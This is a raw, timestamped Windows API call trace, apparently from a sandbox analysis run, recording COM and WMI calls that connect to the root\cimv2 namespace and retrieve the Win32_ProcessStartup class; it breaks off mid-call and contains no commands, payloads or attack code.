[0116.787] WbemDefPath:IUnknown:AddRef (This=0x6566f0) returned 0x3 [0116.787] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x2 [0116.787] WbemDefPath:IWbemPath:SetText (This=0x6566f0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetInfo (in: This=0x6566f0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetInfo (in: This=0x6566f0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6566f0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0116.787] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.787] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0116.787] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0116.787] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0116.787] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.788] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d2ec0) returned 0x0 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ec0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0116.788] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ec0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x656870) returned 0x0 [0116.788] WbemDefPath:IUnknown:Release (This=0x1b4d2ec0) returned 0x0 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x656870) returned 0x0 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0116.788] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0116.788] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d3320) returned 0x0 [0116.788] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3320, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.788] WbemDefPath:IUnknown:Release (This=0x1b4d3320) returned 0x3 [0116.788] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0116.789] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0116.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0116.789] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0116.789] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0116.789] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0116.789] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0116.789] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x656870) returned 0x0 [0116.789] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0116.789] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0116.789] WbemDefPath:IWbemPath:SetText (This=0x656870, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0116.789] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0116.789] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0116.789] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.789] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0116.789] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0116.789] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0116.789] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.790] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d3060) returned 0x0 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d3060, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0116.790] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d3060, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d30e0) returned 0x0 [0116.790] WbemLocator:IUnknown:Release (This=0x1b4d3060) returned 0x0 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d30e0) returned 0x0 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0116.790] WbemLocator:IUnknown:AddRef (This=0x1b4d30e0) returned 0x3 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0116.790] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0116.790] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0116.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0116.791] WbemLocator:IUnknown:Release (This=0x1b4d30e0) returned 0x2 [0116.791] WbemLocator:IUnknown:Release (This=0x1b4d30e0) returned 0x1 [0116.791] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0116.791] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0116.791] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d30e0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d30e0) returned 0x0 [0116.791] WbemLocator:IUnknown:AddRef (This=0x1b4d30e0) returned 0x3 [0116.791] WbemLocator:IUnknown:Release (This=0x1b4d30e0) returned 0x2 [0116.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0116.791] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0116.791] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.791] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d3120) returned 0x0 [0116.791] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d3120, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63be40) returned 0x0 [0117.232] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511a10) returned 0x0 [0117.232] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511a10, pProxy=0x63be40, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0117.232] WbemLocator:IUnknown:Release (This=0x1b511a10) returned 0x1 [0117.232] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511a58) returned 0x0 [0117.232] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511a10) returned 0x0 [0117.232] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511a10, pProxy=0x63be40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0117.233] WbemLocator:IUnknown:Release (This=0x1b511a10) returned 0x2 [0117.233] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x1 [0117.233] CoTaskMemFree (pv=0x1b462060) [0117.233] WbemLocator:IUnknown:Release (This=0x1b4d3120) returned 0x0 [0117.233] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511a58) returned 0x0 [0117.233] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0117.234] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0117.234] WbemLocator:IUnknown:QueryInterface (in: This=0x63be40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0117.234] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0117.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0117.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0117.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b511938) returned 0x0 [0117.235] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511938, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0117.235] WbemLocator:IUnknown:Release (This=0x1b511938) returned 0x3 [0117.235] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0117.235] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0117.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b511a20) returned 0x0 [0117.235] WbemLocator:IRpcOptions:Query (in: This=0x1b511a20, pPrx=0x1b511a58, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0117.235] WbemLocator:IUnknown:Release (This=0x1b511a20) returned 0x3 [0117.235] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0117.235] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0117.235] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0117.235] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63be40) returned 0x0 [0117.235] WbemLocator:IUnknown:AddRef (This=0x63be40) returned 0x4 [0117.235] WbemLocator:IUnknown:Release (This=0x63be40) returned 0x3 [0117.235] WbemLocator:IUnknown:Release (This=0x63be40) returned 0x2 [0117.235] SysStringLen (param_1=0x0) returned 0x0 [0117.235] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0117.235] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0117.236] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511a58) returned 0x0 [0117.236] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0117.236] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0117.236] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0117.236] WbemDefPath:IWbemPath:GetText (in: This=0x6566f0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0117.236] IWbemServices:GetObject (in: This=0x63be40, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7fe0, ppCallResult=0x0) returned 0x0 [0117.238] IWbemClassObject:Get (in: This=0x1b4d7fe0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0117.238] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0117.238] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0117.238] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0117.238] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0117.238] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0117.238] IUnknown:Release (This=0x6124e8) returned 0x1 [0117.239] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), 